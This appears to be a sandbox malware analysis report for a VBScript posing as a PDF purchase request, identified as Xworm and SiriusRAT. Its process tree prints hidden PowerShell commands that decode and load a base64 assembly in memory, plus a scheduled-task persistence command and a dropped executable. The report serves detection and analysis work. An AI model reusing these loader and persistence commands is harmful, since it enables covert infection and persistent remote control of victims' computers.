Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/09/2026, 08:31

General

  • Target
    RFQ-SCM04429866,PDF.vbs
  • Size 5.1MB
  • Sample260923-keze3sys4l
  • SHA256 5f63fe34d77b1eff07a9eef9d7ca1df2537aa90cb1d3fc2e215086d2397313c5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: SiriusRAT

    SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Detects SiriusRAT 1 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SCM04429866,PDF.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$constraining=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$mathamatical=[Convert]::FromBase64String($constraining);[AppDomain]::CurrentDomain.Load($mathamatical)|Out-Null;[Win32.RMP.Cls_gnpHRaKEbS]::Met_gnpHRaKEbSBr('6igj714j1ihSXEasl3raEEdnvDYAG3g2KsFV3Dk81Nrz0BeIikFV8EarIdm1nvP9','','Ns+xkyvwiEnuGu1koPsoKnge6fZS/liEOZ4he8/SFIJY6r/6WQeQe3UUjTrrIi6g','clitCe/QlseifhsK9hdEw1Zd30AFfk7sLCEdBnjsz2A=','lPzeMzCrPQZxbD25oAyAQNbZWl4yAEn9o0GbBmLb7ro=','','K7ICtH/bMyh6H0XJvGhOoD5IdvYV7bmVMzOVtjXaWVo=','','60QhRBVyS31jEVU8ehdjrtxsGZySyuU9ypEJECa4bAY=','8YpipXvtW3LKzNQgwn1wDYtEYNpwPt0yzy/rDROPS3vdblHB4SdMDsrvW+dP3WPp','chK2TkIIvLfiGj3EVNLfPgjcn6exVkVJRn5RiJXQuj8=','NHpC9NTjQM/pG+sZz+Lqt6oHwkwepj44M9m+YNHbdbw=','fqgPzN707zMvCzKnW6kS6zrl8EZNmbok0ontB7Mp58Y=','','h3Wb5EAzzF8UXly2zhId8uRLmmXFTH5W+ZErr1AkF1o=','jFECIUB2Utuifc6uI9okSrj6HkipTBsteWA/PZfB97c=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:704
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$constraining=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$mathamatical=[Convert]::FromBase64String($constraining);[AppDomain]::CurrentDomain.Load($mathamatical)|Out-Null;[Win32.RMP.Cls_gnpHRaKEbS]::Met_gnpHRaKEbSBr('6igj714j1ihSXEasl3raEEdnvDYAG3g2KsFV3Dk81Nrz0BeIikFV8EarIdm1nvP9','','Ns+xkyvwiEnuGu1koPsoKnge6fZS/liEOZ4he8/SFIJY6r/6WQeQe3UUjTrrIi6g','clitCe/QlseifhsK9hdEw1Zd30AFfk7sLCEdBnjsz2A=','lPzeMzCrPQZxbD25oAyAQNbZWl4yAEn9o0GbBmLb7ro=','','K7ICtH/bMyh6H0XJvGhOoD5IdvYV7bmVMzOVtjXaWVo=','','60QhRBVyS31jEVU8ehdjrtxsGZySyuU9ypEJECa4bAY=','8YpipXvtW3LKzNQgwn1wDYtEYNpwPt0yzy/rDROPS3vdblHB4SdMDsrvW+dP3WPp','chK2TkIIvLfiGj3EVNLfPgjcn6exVkVJRn5RiJXQuj8=','NHpC9NTjQM/pG+sZz+Lqt6oHwkwepj44M9m+YNHbdbw=','fqgPzN707zMvCzKnW6kS6zrl8EZNmbok0ontB7Mp58Y=','','h3Wb5EAzzF8UXly2zhId8uRLmmXFTH5W+ZErr1AkF1o=','jFECIUB2Utuifc6uI9okSrj6HkipTBsteWA/PZfB97c=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • Creates a file in the Startup directory
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5512
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWClient" /tr "C:\ProgramData\XWClient.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4368
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\glvynd.vbs"
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4408
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$perpetuable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$megagamete=[Convert]::FromBase64String($perpetuable);[AppDomain]::CurrentDomain.Load($megagamete)|Out-Null;[Win32.RMP.Cls_QErhtQHxup]::Met_QErhtQHxupfz('XP2mNCwaylo26RX3PydpoBJc9a5PjDLHXbzaMmxLw6HZjOM2srNVAy8kMwLQ7gWh','','cPYz7Orsc0TmYJmxHiqa91xeBrx2UXbU/jjxsep4OSB3jA4TXtQmrNgU+P3mx1Iy','sB23OjTj7nb+Ti/QXAWSPlaVf1+cNoSigxtp3HoWnY8=','wFHg9AgBKQPpw1NMS+M9lgrS+4RngHHarbfiwHXiid0=','','LnvUuYG1CuFr1GZvckhXVnBrLjp5PY9XOkKk74j8VUo=','','W+R/38vP39Mwx7XQ3isCC/idKOB/MFdiVqD8JUSz7uw=','1NcifK5C9mckQwqvDmFelsRC73h3n9e2SMhg71MuCvwzqjugUKdNy2viZPC/5BoH','5Fq6nmC7Tj64K2bchJHzComus0lIBdXaH0UQd78hxBk=','VBfw98Y/OjJWmYWuc4G8OZN0pakFpRJOg/gNHmQIPW8=','PEfi4Mg+kM7YORS7wT0lVG0yXqO05VHZb5xfhwNjHs4=','','CZsGgyGaBDKxFfpVLbpTawWzAoRLMBxJzjqHDh428oM=','umaEw3YWeCWUUGN42ca7sRJmfSQdkg83AfS+WINly+0=','','','')"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4588
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5284
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6D1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC49B2524789A6465FB24A8D7B33B109.TMP"
          4⤵
            PID:3400
        • C:\Users\Admin\AppData\Local\Temp\CasPol.exe
          "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 5512
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5160
    • C:\ProgramData\XWClient.exe
      C:\ProgramData\XWClient.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1792
    • C:\PROGRA~3\XWClient.exe
      C:\PROGRA~3\XWClient.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2308
    • C:\ProgramData\XWClient.exe
      "C:\ProgramData\XWClient.exe"
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$perpetuable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$megagamete=[Convert]::FromBase64String($perpetuable);[AppDomain]::CurrentDomain.Load($megagamete)|Out-Null;[Win32.RMP.Cls_QErhtQHxup]::Met_QErhtQHxupfz('XP2mNCwaylo26RX3PydpoBJc9a5PjDLHXbzaMmxLw6HZjOM2srNVAy8kMwLQ7gWh','','cPYz7Orsc0TmYJmxHiqa91xeBrx2UXbU/jjxsep4OSB3jA4TXtQmrNgU+P3mx1Iy','sB23OjTj7nb+Ti/QXAWSPlaVf1+cNoSigxtp3HoWnY8=','wFHg9AgBKQPpw1NMS+M9lgrS+4RngHHarbfiwHXiid0=','','LnvUuYG1CuFr1GZvckhXVnBrLjp5PY9XOkKk74j8VUo=','','W+R/38vP39Mwx7XQ3isCC/idKOB/MFdiVqD8JUSz7uw=','1NcifK5C9mckQwqvDmFelsRC73h3n9e2SMhg71MuCvwzqjugUKdNy2viZPC/5BoH','5Fq6nmC7Tj64K2bchJHzComus0lIBdXaH0UQd78hxBk=','VBfw98Y/OjJWmYWuc4G8OZN0pakFpRJOg/gNHmQIPW8=','PEfi4Mg+kM7YORS7wT0lVG0yXqO05VHZb5xfhwNjHs4=','','CZsGgyGaBDKxFfpVLbpTawWzAoRLMBxJzjqHDh428oM=','umaEw3YWeCWUUGN42ca7sRJmfSQdkg83AfS+WINly+0=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        2⤵
          PID:1820
      • C:\ProgramData\XWClient.exe
        "C:\ProgramData\XWClient.exe"
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4148
      • C:\ProgramData\XWClient.exe
        "C:\ProgramData\XWClient.exe"
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1712

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            XWClient.exe

            • Path C:\ProgramData\XWClient.exe
            • Size 99KB
            • SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 3087ca1cd1b84da3f4599b9ca019e968b23b6e40273495dd7d5632aa9fa252e0
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 15KB
            • SHA256 23e5afc812295bb869a98b45e00fd3b629a4c135740edc20edbff72a0672897e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CasPol.exe

            • Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
            • Size 5KB
            • SHA256 77773c41af676709984e9fbbaaf0d4c150b8729f6345ce1ea2c554febf802d1c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESC6D1.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESC6D1.tmp
            • Size 1KB
            • SHA256 534b5f001675168cb04f0d243b58dbba4f8a035642e866a9f6ff560074be462f
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_lfv0zgqj.a5h.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lfv0zgqj.a5h.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            glvynd.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\glvynd.vbs
            • Size 4.9MB
            • SHA256 cd904a219994135509cc73ae02eb6eaa5048438e662cb0d7081046282320f692
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC49B2524789A6465FB24A8D7B33B109.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC49B2524789A6465FB24A8D7B33B109.TMP
            • Size 1KB
            • SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
            • MD5 SHA1 SHA512 TLSH

            guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_b1c3b31b353d4b0d921f0b0d1892d26b.cs
            • Size 4KB
            • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/704-34-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-22-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-31-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-24-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-27-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-23-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-20-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/704-21-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/1820-67-0x0000000140000000-0x0000000140558000-memory.dmp

            memory/2104-18-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-5-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-1-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-0-0x00007FFDC278F000-0x00007FFDC2790000-memory.dmp

            memory/2104-17-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-28-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-2-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-3-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-16-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-15-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-14-0x000001FBFD7E0000-0x000001FBFD802000-memory.dmp

            memory/2104-4-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-19-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-8-0x000001FBFDCC0000-0x000001FBFDCE2000-memory.dmp

            memory/2104-13-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-9-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2104-12-0x00007FFDC2600000-0x00007FFDC2FA4000-memory.dmp

            memory/2308-45-0x0000000000690000-0x00000000006AC000-memory.dmp

            memory/4152-57-0x000001B34CE00000-0x000001B34CE22000-memory.dmp

            memory/4588-69-0x0000000006690000-0x00000000066B2000-memory.dmp

            memory/4588-60-0x0000000005C10000-0x0000000005C32000-memory.dmp

            memory/4588-61-0x0000000005CB0000-0x0000000005D16000-memory.dmp

            memory/4588-64-0x0000000005E10000-0x000000000616B000-memory.dmp

            memory/4588-65-0x00000000062C0000-0x00000000062DE000-memory.dmp

            memory/4588-66-0x00000000062F0000-0x000000000633C000-memory.dmp

            memory/4588-58-0x0000000004DE0000-0x0000000004E16000-memory.dmp

            memory/4588-59-0x0000000005480000-0x0000000005ACA000-memory.dmp

            memory/5160-88-0x00000000006E0000-0x00000000006E8000-memory.dmp

            memory/5284-85-0x0000016481DC0000-0x0000016482764000-memory.dmp

            memory/5512-40-0x0000000006860000-0x00000000068F2000-memory.dmp

            memory/5512-74-0x0000000001910000-0x000000000198C000-memory.dmp

            memory/5512-75-0x0000000001990000-0x00000000019C4000-memory.dmp

            memory/5512-76-0x00000000019E0000-0x00000000019E6000-memory.dmp

            memory/5512-39-0x0000000006D30000-0x00000000072EA000-memory.dmp

            memory/5512-30-0x0000000005950000-0x00000000059B6000-memory.dmp

            memory/5512-29-0x00000000059F0000-0x0000000005A8C000-memory.dmp

            memory/5512-25-0x0000000000400000-0x000000000041E000-memory.dmp

            memory/5512-72-0x0000000010180000-0x0000000010FBC000-memory.dmp

            memory/5512-41-0x0000000006830000-0x000000000683A000-memory.dmp